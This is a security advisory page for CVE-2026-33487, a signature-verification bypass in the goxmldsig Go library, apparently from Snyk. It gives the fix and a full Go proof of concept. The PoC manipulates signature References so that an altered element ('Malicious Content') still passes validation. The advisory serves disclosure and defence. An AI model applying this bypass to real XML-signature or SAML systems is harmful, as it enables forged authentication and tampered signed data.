Improper Verification of Cryptographic Signature Affecting github.com/russellhaering/goxmldsig package, versions <1.6.0


Severity

Recommended
0.0
high
0
10

CVSS assessment by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of Concept
EPSS
0.3% (22nd percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications
  • Snyk IDSNYK-GOLANG-GITHUBCOMRUSSELLHAERINGGOXMLDSIG-15692488
  • published19 Mar 2026
  • disclosed18 Mar 2026
  • creditTomas Illuminati Balbin

Introduced: 18 Mar 2026

CVE-2026-33487  (opens in a new tab)
CWE-347  (opens in a new tab)

How to fix?

Upgrade github.com/russellhaering/goxmldsig to version 1.6.0 or higher.

Overview

github.com/russellhaering/goxmldsig is a XML Digital Signatures implemented in pure Go.

Affected versions of this package are vulnerable to Improper Verification of Cryptographic Signature through the validateSignature function in the validate.go file. An attacker can bypass integrity checks and alter the contents of signed elements by exploiting pointer aliasing on a loop variable, allowing them to replace one element's contents with another referenced element's.

PoC

package main

import (
    "crypto/rand"
    "crypto/rsa"
    "crypto/tls"
    "crypto/x509"
    "encoding/base64"
    "fmt"
    "math/big"
    "time"

    "github.com/beevik/etree"
    dsig "github.com/russellhaering/goxmldsig"
)

func main() {
    key, err := rsa.GenerateKey(rand.Reader, 2048)
    if err != nil {
        panic(err)
    }

    template := &x509.Certificate{
        SerialNumber: big.NewInt(1),
        NotBefore:    time.Now().Add(-1 * time.Hour),
        NotAfter:     time.Now().Add(1 * time.Hour),
    }

    certDER, err := x509.CreateCertificate(rand.Reader, template, template, &key.PublicKey, key)
    if err != nil {
        panic(err)
    }

    cert, _ := x509.ParseCertificate(certDER)

    doc := etree.NewDocument()
    root := doc.CreateElement("Root")
    root.CreateAttr("ID", "target")
    root.SetText("Malicious Content")

    tlsCert := tls.Certificate{
        Certificate: [][]byte{cert.Raw},
        PrivateKey:  key,
    }

    ks := dsig.TLSCertKeyStore(tlsCert)
    signingCtx := dsig.NewDefaultSigningContext(ks)

    sig, err := signingCtx.ConstructSignature(root, true)
    if err != nil {
        panic(err)
    }

    signedInfo := sig.FindElement("./SignedInfo")

    existingRef := signedInfo.FindElement("./Reference")
    existingRef.CreateAttr("URI", "#dummy")

    originalEl := etree.NewElement("Root")
    originalEl.CreateAttr("ID", "target")
    originalEl.SetText("Original Content")

    sig1, _ := signingCtx.ConstructSignature(originalEl, true)
    ref1 := sig1.FindElement("./SignedInfo/Reference").Copy()

    signedInfo.InsertChildAt(existingRef.Index(), ref1)

    c14n := signingCtx.Canonicalizer

    detachedSI := signedInfo.Copy()
    if detachedSI.SelectAttr("xmlns:"+dsig.DefaultPrefix) == nil {
        detachedSI.CreateAttr("xmlns:"+dsig.DefaultPrefix, dsig.Namespace)
    }

    canonicalBytes, err := c14n.Canonicalize(detachedSI)
    if err != nil {
        fmt.Println("c14n error:", err)
        return
    }

    hash := signingCtx.Hash.New()
    hash.Write(canonicalBytes)
    digest := hash.Sum(nil)

    rawSig, err := rsa.SignPKCS1v15(rand.Reader, key, signingCtx.Hash, digest)
    if err != nil {
        panic(err)
    }

    sigVal := sig.FindElement("./SignatureValue")
    sigVal.SetText(base64.StdEncoding.EncodeToString(rawSig))

    certStore := &dsig.MemoryX509CertificateStore{
        Roots: []*x509.Certificate{cert},
    }
    valCtx := dsig.NewDefaultValidationContext(certStore)

    root.AddChild(sig)

    doc.SetRoot(root)
    str, _ := doc.WriteToString()
    fmt.Println("XML:")
    fmt.Println(str)

    validated, err := valCtx.Validate(root)
    if err != nil {
        fmt.Println("validation failed:", err)
    } else {
        fmt.Println("validation ok")
        fmt.Println("validated text:", validated.Text())
    }
}

References

CVSS Base Scores

version 4.0
version 3.1